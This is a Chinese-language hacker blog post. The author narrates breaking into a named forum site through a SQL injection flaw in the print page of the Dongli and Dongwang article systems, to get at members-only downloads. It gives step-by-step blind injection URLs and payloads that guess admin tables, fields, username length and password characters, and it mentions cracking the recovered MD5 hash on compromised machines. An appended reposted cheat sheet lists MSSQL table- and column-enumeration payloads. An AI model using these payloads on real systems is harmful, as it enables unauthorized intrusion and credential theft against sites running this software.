动网和动力文章系统打印页面SQL注入漏洞
今天晚上没事,在网上闲逛,在华夏黑客同盟看到一个关于溢出serv-U的动画教程和文章,想把它down下来看看,于是
我找到下载页面,一看~~~~,想哭,它只给会员才可以下载的。不能吧,既然说下就一定要把他下下来。
于是我到处看看,他用的是动力的整站程序,拿出工具扫,什么都没扫到,整体上没有做太大的改动,
网上已经公布的漏洞,站长早已把它补上了。没办法,再找找别的吧,打开网站-打开一篇文章 在 地址栏中提
交 and 1=1 出现错误 看来Article_Show.asp文件已经做了过滤~接着,看到打印此文这个功能。点击,看到Article_Print.asp?Arti
cleID=4;
提交http://www.77169.com/Article_Print.asp?ArticleID=4'返回错误信息,
接着提交http://www.77169.com/Article_Print.asp?ArticleID=4;页面正常返回
再提交http://www.77169.com/Article_Print.asp?ArticleID=4 and 1=1 页面正常返回
和http://www.77169.com/Article_Print.asp?ArticleID=4 and 1=2 返回找不到该文章。看来怪狗没有没有注意到这个文件的问题哦!!
有了上面的条件基本上就可以断定这个页面存在SQL注入漏洞了(因为别的页面提交都返回错误信息)
下面我们就开始注入了,和别的SQL注入一样,
猜管理员帐号表
http://www.77169.com/Article_Print.asp?ArticleID=4 and exists (select * from admin)成功返回
我们再来猜他的管理员表中是否有一个ID段
http://www.77169.com/Article_Print.asp?ArticleID=4 and exists (select id from admin)
OK,页面返回正常,说明他的admin表中有个id的字段。
这里的意思是看看他的admin表中是否有username字段
页面返回正常,说明在admin中有一个username字段
我们继续猜他放密码的字段and exists (select password from admin)
返回正常的页面,说明他的admin表中有个password字段
好了,我们下面来猜他的管理员的id值and exists (select id from admin where id=1)
意思是看看他的admin表中是否有一个id=1的值
OK,返回了正常的页面,说明我们猜对了
有时候管理员的ID值不是1,那么我们可以把ID=的值换成别的,2,3,4,等等一直到页面正常返回为止。
下面我们来猜他的管理员的名字长度
and exists (select id from admin where len(username)<6 and id=1)
这里我们猜他的管理员长度小于6,呵呵,返回了正常的页面,还好,名字不是太长,
我们一个个来实验好了and exists (select id from admin where len(username)=5 and id=1)
返回了正常的页面,好了用户名的长度我们已经猜出了为5
下面我们来我们的重点任务-猜帐号
用户名字段长度
and 1=(select min(id)from admin where len(username)>5)
这是密码字段长
and 1=(select min(id)from admin where len(password)<10)
and 1=(select min(id)from admin where mid(username,1,1)='a')
破用户名!
and 1=(select id from admin where asc(mid(username,1,1))>120)
ID=2
and 2=(select id from admin where id=2 and asc(mid(username,1,1))>120)
把MID部分改就行!
right(user,2)表示从右边开始的两个字符。
left(user,2)表示从左边开始的两个字符!
所以你先用left(user,1)='c'得到第一位,那就left(user,2)='ca'
我们再来猜他的密码的asc值
and 1=(select min(id)from admin where len(password)<10)返回错误
and 1=(select min(id)from admin where len(password)=16)正常返回页面,到这里我就有点高兴不起来了,因为很有可能管理员
的密码是md5加密的。
如果密码是数字的话还好办,用工具暴力破解几分钟就可以破出来,但是如果是数字加字母的呢?放心不要紧,MD5我们照样破别管那
些,继续破。
我快累死了,终于把管理员的用户名和密码都破出来了,用户名:admin 密码:ad901c854c52987b 。
每错,果然是MD5加密的。
有些人看到MD5加密的可能就会拿出暴力破解软件慢慢的破解,包括我自己也是这样,如果过了20分钟密码还没有出来的话,那么
我就不会用这个方法了,如果是数字的话,早就出来了,字母就难了,找个肉鸡挂上扫几天也许有结果。
当天晚上我就把这个漏洞用QQ通知了华夏站长,没想到他居然告诉我说"那个admin帐号是他故意加的,没有权限"
不过能有几个站长会这样做啊,(我自己的站就没有过滤,马上把打印页面del)
现在80%的动网和动力系统都存在打印页面SQL注入的漏洞,希望各站站长注意.
在看到动力系统的漏洞以后,我就想看看动网文章系统是否也存在同样的漏洞。
于是就到网上随便搜索一下,(KAO出来一大堆)随便找一个测试一下,结果让我大吃一惊。
下面是关于动网文章系统的打印页面的漏洞。
其实动网文章系统和动网和动力一样。不过动网文章系统比动力系统危险多了。
动力的密码是经过MD5加密的,而动网文章系统的密码是明文显示的。
动网文章系统存在漏洞的页面是/printpage.asp ,也是打印页面的漏洞,
入侵方法和动网和动力系统一样。
这篇文章主要是为了提醒那些网站的管理员,一定要了解自己的站。
把不要的东西,能删的全给它删了,我自己的站就是动力系统的,不过打印页面我早已经把它删了。
总的来说动力文章系统还是比较安全的,
相对的动网文章就有点危险了......
~︶︶~︶︶~︶︶~︶︶~︶︶~︶︶~︶︶~︶︶~︶︶~︶︶~文章结束
下面是转别人的SQL注入必殺技成功條件:
{{{
1.找到注入點
2.數據庫為SQLSERVER
3.IIS沒屏蔽錯誤提示
注:因必殺技是我研究N久的心得,經多次改良,成功率極高。請不要用於不合法用途上,否則後果自負。
[N] = 第N個表
ID=1 and (Select top 1 name from(Select top [N] id,name from sysobjects where xtype=char(85)) T order by id desc)>1
[T] = 表名
[N] = 第N個字段
ID=1 and (Select Top 1 col_name(object_id('[T]'),[N]) from sysobjects)>1
}}}